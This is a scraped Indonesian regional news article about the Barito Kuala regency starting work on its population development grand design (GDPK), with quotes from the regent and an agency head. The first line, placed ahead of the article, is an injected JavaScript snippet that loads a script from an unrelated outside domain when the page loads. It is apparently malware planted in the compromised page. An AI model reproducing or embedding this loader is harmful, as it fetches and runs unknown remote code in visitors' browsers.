(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Categories: Kabupaten Barito Kuala

Dinas Pengendalian Kependudukan Batola Susun GDPK Berkelanjutan

KANALKALIMANTAN.COM, MARABAHAN – Pemkab Barito Kuala (Pemkab Batola) melalui Dinas Pengendalian Penduduk, Keluarga Berencana, Pemberdayaan Perempuan dan Perlindungan Anak (DPPKBP3A) melakukan penyusunan Grand Design Pembangunan Kependudukan (GDPK), Jumat (14/8/2020).

Acara yang difasilitasi BKKBN Kalsel ini dihadiri Bupati Noormiliyani AS, Wabup Rahmadian Noor, Pj Sekda H Abdul Manaf, dan SKPD terkait.

Bupati Noormiliyani menyambut baik digelarnya kegiatan ini. Penyusunan GDPK sangat penting karena merupakan dokumen strategis jangka panjang dalam menyediakan panduan mengintegrasikan berbagai variabel kependudukan.

“GDPK juga berfungsi menciptakan harmonisasi antara situasi dan kondisi dinamika kependudukan dengan kondisi sosial ekonomi lainnya,” katanya.

Karenanya, Noormiliyani berharap tersusunnya GDPK akan semakin memperbaiki political will dan komitmen terhadap prioritas pembangunan kependudukan. Serta mampu meningkatkan kepedulian para policy makers terhadap keterkaitan antara isu kependudukan dengan pembangunan.

Terpisah, Kepala DPPKBP3A Batola Harliani berharap penyusunan GDPK ini mendapat dukungan para penentu kebijakan. Terutama terkait pendanaan. “Dukungan yang sama juga diharapkan dari SKPD terkait dalam kebutuhan penyusunan maupun data-data yang diperlukan nantinya,” ungkapnya.

Harli mengatakan, terciptanya GDPK selain merupakan program nasional untuk pembangunan penduduk sampai 2035 yang diawali pada tahun 2020 sesuai Perpres Nomor 153 Tahun 2014 juga memiliki banyak manfaat.

“Dalam GDPK setidaknya terdapat 5 aspek kebijakan pembangunan kependudukan, ekonomi, dan penanggulangan kemiskinan yaitu grand design pengendalian kuantitas penduduk, peningkatan kualitas, pengarahan mobilitas, pembangunan keluarga, dan pengembangan database kependudukan,” jelasnya.

Harliani menjelaskan, dalam penyusunan nantinya dengan indikator yang dipakai, maka hampir semua SKPD, terlibat. Seperti Dinas kesehatan, Disdukcapil, Disdik, dan lain-lainnya.

“Dengan tersusunnya GDPK orang akan bisa melihat sejauh mana keberadaan Batola dan kemana arah pembangunannya. Mestinya penyusunan GDPK sejak 2017-2022 namun kali ini dimulai 2021-2022,” katanya.(kanalkalimantan.com/rdy)

Reporter: Rendy
Editor: Cell